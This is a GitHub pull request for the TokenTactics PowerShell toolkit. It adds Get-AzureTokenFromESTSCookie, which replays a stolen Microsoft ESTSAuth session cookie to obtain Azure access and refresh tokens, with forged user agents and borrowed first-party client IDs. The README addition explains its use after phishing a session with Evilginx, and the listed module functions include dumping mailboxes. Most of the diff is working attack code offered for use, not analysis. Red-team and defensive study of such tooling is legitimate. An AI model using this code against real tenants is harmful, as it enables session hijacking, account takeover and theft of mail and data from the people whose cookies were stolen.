Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We鈥檒l occasionally send you account related emails.

Already on GitHub? Sign in to your account

Feature: Obtain tokens using authorization code flow using ESTSAuth cookie #9

Open
wants to merge 4 commits into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
53 changes: 32 additions & 21 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -22,11 +22,22 @@ You may also use these tokens with [AAD Internals](https://o365blog.com/aadinter
### Generate Device Code

```Get-AzureToken -Client MSGraph```

Once the user has logged in, you'll be presented with the JWT and it will be saved in the $response variable. To access the access token use ```$response.access_token``` from your PowerShell window to display the token. You may also display the refresh token with ```$response.refresh_token```. Hint: You'll want the refresh token to keep refreshing to new access tokens! By default, Get-AzureToken results are logged to TokenLog.log.

#### DOD/Mil Device Code
```Get-AzureToken -Client DODMSGraph```

### Get a Refresh Token from ESTSAuth* Cookie

```Get-AzureTokenFromESTSCookie -estsAuthCookie "0.AbcApTk..." ```

This module uses authorization code flow to obtain an access token and refresh token using ESTSAuth (or ESTSAuthPersistent) cookie. Useful if you have phished a session via Evilginx or have otherwise obtained this cookie.

Be sure to use the right cookie! `ESTSAuthPersistent` is only useful when a CA policy actually grants a persistent session. Otherwise, you should use `ESTSAuth`. You can usually tell which one to use based on length, the longer cookie is the one you want to use :)

*Note: This may not work in all cases as it may require user interaction. If this is the case, either use the Device Code flow above, or try `roadtx interactiveauth --estscookie`*

### Refresh or Switch Tokens

```Invoke-RefreshToOutlookToken -domain myclient.org -refreshToken 0.A```
Expand All @@ -51,27 +62,27 @@ Get-Command -Module TokenTactics

CommandType Name Version Source
----------- ---- ------- ------
Function Invoke-ClearToken 0.0.2 TokenTactics
Function Invoke-DumpOWAMailboxViaMSGraphApi 0.0.2 TokenTactics
Function Invoke-ForgeUserAgent 0.0.2 TokenTactics
Function Get-AzureToken 0.0.2 TokenTactics
Function Get-TenantID 0.0.2 TokenTactics
Function Invoke-OpenOWAMailboxInBrowser 0.0.2 TokenTactics
Function Invoke-ParseJWTtoken 0.0.2 TokenTactics
Function Invoke-RefreshToAzureCoreManagementToken 0.0.2 TokenTactics
Function Invoke-RefreshToAzureManagementToken 0.0.2 TokenTactics
Function Invoke-RefreshToDODMSGraphToken 0.0.2 TokenTactics
Function Invoke-RefreshToGraphToken 0.0.2 TokenTactics
Function Invoke-RefreshToMAMToken 0.0.2 TokenTactics
Function Invoke-RefreshToMSGraphToken 0.0.2 TokenTactics
Function Invoke-RefreshToMSManageToken 0.0.2 TokenTactics
Function Invoke-RefreshToMSTeamsToken 0.0.2 TokenTactics
Function Invoke-RefreshToO365SuiteUXToken 0.0.2 TokenTactics
Function Invoke-RefreshToOfficeAppsToken 0.0.2 TokenTactics
Function Invoke-RefreshToOfficeManagementToken 0.0.2 TokenTactics
Function Invoke-RefreshToOutlookToken 0.0.2 TokenTactics
Function Invoke-RefreshToSubstrateToken 0.0.2 TokenTactics
Function Invoke-RefreshToYammerToken 0.0.2 TokenTactics
Function Get-AzureToken 0.0.2 TokenTactics
Function Get-AzureTokenFromESTSCookie 0.0.2 TokenTactics
Function Invoke-ClearToken 0.0.2 TokenTactics
Function Invoke-DumpOWAMailboxViaMSGraphApi 0.0.2 TokenTactics
Function Invoke-ForgeUserAgent 0.0.2 TokenTactics
Function Invoke-OpenOWAMailboxInBrowser 0.0.2 TokenTactics
Function Invoke-ParseJWTtoken 0.0.2 TokenTactics
Function Invoke-RefreshToAzureCoreManagementToken 0.0.2 TokenTactics
Function Invoke-RefreshToAzureManagementToken 0.0.2 TokenTactics
Function Invoke-RefreshToDODMSGraphToken 0.0.2 TokenTactics
Function Invoke-RefreshToGraphToken 0.0.2 TokenTactics
Function Invoke-RefreshToMAMToken 0.0.2 TokenTactics
Function Invoke-RefreshToMSGraphToken 0.0.2 TokenTactics
Function Invoke-RefreshToMSManageToken 0.0.2 TokenTactics
Function Invoke-RefreshToMSTeamsToken 0.0.2 TokenTactics
Function Invoke-RefreshToOfficeAppsToken 0.0.2 TokenTactics
Function Invoke-RefreshToOfficeManagementToken 0.0.2 TokenTactics
Function Invoke-RefreshToOutlookToken 0.0.2 TokenTactics
Function Invoke-RefreshToSharepointOnlineToken 0.0.2 TokenTactics
Function Invoke-RefreshToSubstrateToken 0.0.2 TokenTactics
Function Invoke-RefreshToYammerToken 0.0.2 TokenTactics
```

## Authors and contributors
Expand Down
1 change: 1 addition & 0 deletions TokenTactics.psm1
Original file line number Diff line number Diff line change
Expand Up @@ -29,6 +29,7 @@ $functions=@(
"Invoke-GetTenantID"
# TokenHandler.ps1
"Get-AzureToken"
"Get-AzureTokenFromESTSCookie"
"Invoke-RefreshToSubstrateToken"
"Invoke-RefreshToMSManageToken"
"Invoke-RefreshToMSTeamsToken"
Expand Down
137 changes: 137 additions & 0 deletions modules/TokenHandler.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -255,6 +255,143 @@ function Get-AzureToken {
}
}
}
function Get-AzureTokenFromESTSCookie {

<#
.DESCRIPTION
Authenticate to an application (default graph.microsoft.com) using Authorization Code flow.
Authenticates to MSGraph as Teams FOCI client by default.

NOTE: This may require user interaction and may not work this way.
In that case, use device code flow or `roadtx interactiveauth`

.EXAMPLE
Get-AzureTokenFromESTSCookie -Client MSTeams -estsAuthCookie "0.AbcAp.."
#>

[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String[]]
[ValidateSet("MSTeams","MSEdge","AzurePowershell")]
$Client = "MSTeams",
[Parameter(Mandatory=$True)]
[String[]]
$estsAuthCookie,
[Parameter(Mandatory=$False)]
[String]
$Resource = "https://graph.microsoft.com/",
[Parameter(Mandatory=$False)]
[ValidateSet('Mac','Windows','AndroidMobile','iPhone')]
[String]$Device,
[Parameter(Mandatory=$False)]
[ValidateSet('Android','IE','Chrome','Firefox','Edge','Safari')]
[String]$Browser
)

if ($Device) {
if ($Browser) {
$UserAgent = Invoke-ForgeUserAgent -Device $Device -Browser $Browser
}
else {
$UserAgent = Invoke-ForgeUserAgent -Device $Device
}
}
else {
if ($Browser) {
$UserAgent = Invoke-ForgeUserAgent -Browser $Browser
}
else {
$UserAgent = Invoke-ForgeUserAgent
}
}


if($Client -eq "MSTeams") {
$client_id = "1fec8e78-bce4-4aaf-ab1b-5451cc387264"
}
elseif ($Client -eq "MSEdge") {
$client_id = "ecd6b820-32c2-49b6-98a6-444530e5a77a"
}
elseif ($Client -eq "AzurePowershell") {
$client_id = "1950a258-227b-4e31-a9cf-717495945fc2"
}

$Headers=@{}
$Headers["User-Agent"] = $UserAgent

$cookie = "ESTSAUTHPERSISTENT=$($estsAuthCookie)"
$session = [Microsoft.PowerShell.Commands.WebRequestSession]::new()
$cookie = [System.Net.Cookie]::new("ESTSAUTHPERSISTENT", "$($estsAuthCookie)")
$session.Cookies.Add('https://login.microsoftonline.com/', $cookie)

$state = [System.Guid]::NewGuid().ToString()
$redirect_uri = ([System.Uri]::EscapeDataString("https://login.microsoftonline.com/common/oauth2/nativeclient"))

if ($PSVersionTable.PSVersion.Major -lt 7) {
$sts_response = Invoke-WebRequest -UseBasicParsing -MaximumRedirection 0 -ErrorAction SilentlyContinue -WebSession $session -Method Get -Uri "https://login.microsoftonline.com/common/oauth2/authorize?response_type=code&client_id=$($client_id)&resource=$($Resource)&redirect_uri=$($redirect_uri)&state=$($state)" -Headers $Headers
}

else {
$sts_response = Invoke-WebRequest -UseBasicParsing -SkipHttpErrorCheck -MaximumRedirection 0 -ErrorAction SilentlyContinue -WebSession $session -Method Get -Uri "https://login.microsoftonline.com/common/oauth2/authorize?response_type=code&client_id=$($client_id)&resource=$($Resource)&redirect_uri=$($redirect_uri)&state=$($state)" -Headers $Headers
}

if ($sts_response.StatusCode -eq 302) {

if ($PSVersionTable.PSVersion.Major -lt 7) {
$uri = [System.Uri]$sts_response.Headers.Location
}

else { $uri = [System.Uri]$sts_response.Headers.Location[0] }

$query = $uri.Query.TrimStart('?')

$queryParams = @{}
$paramPairs = $query.Split('&')

foreach ($pair in $paramPairs) {
$parts = $pair.Split('=')
$key = $parts[0]
$value = $parts[1]
$queryParams[$key] = $value
}

if ($queryParams.ContainsKey('code')) {
$refreshToken = $queryParams['code']
} else {
Write-Host "[-] Code not found in redirected URL path"
Write-Host " Requested URL: https://login.microsoftonline.com/common/oauth2/authorize?response_type=code&client_id=$($client_id)&resource=$($Resource)&redirect_uri=$($redirect_uri)&state=$($state)"
Write-Host " Response Code: $($sts_response.StatusCode)"
Write-Host " Response URI: $($sts_response.Headers.Location)"
return
}

} else {
Write-Host "[-] Expected 302 redirect but received other status"
Write-Host " Requested URL: https://login.microsoftonline.com/common/oauth2/authorize?response_type=code&client_id=$($client_id)&resource=$($Resource)&redirect_uri=$($redirect_uri)&state=$($state)"
Write-Host " Response Code: $($sts_response.StatusCode)"
Write-Host "[-] The request may require user interation to complete, or the provided cookie is invalid"
return
}

if ($refreshToken){

$body = @{
"resource" = $Resource
"client_id" = $client_id
"grant_type" = "authorization_code"
"redirect_uri" = "https://login.microsoftonline.com/common/oauth2/nativeclient"
"code" = $refreshToken
"scope" = "openid"
}

$global:response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/token" -Headers $Headers -Body $body
Write-Output $response

}

}

# Refresh Token Functions
function Invoke-RefreshToSubstrateToken {
<#
Expand Down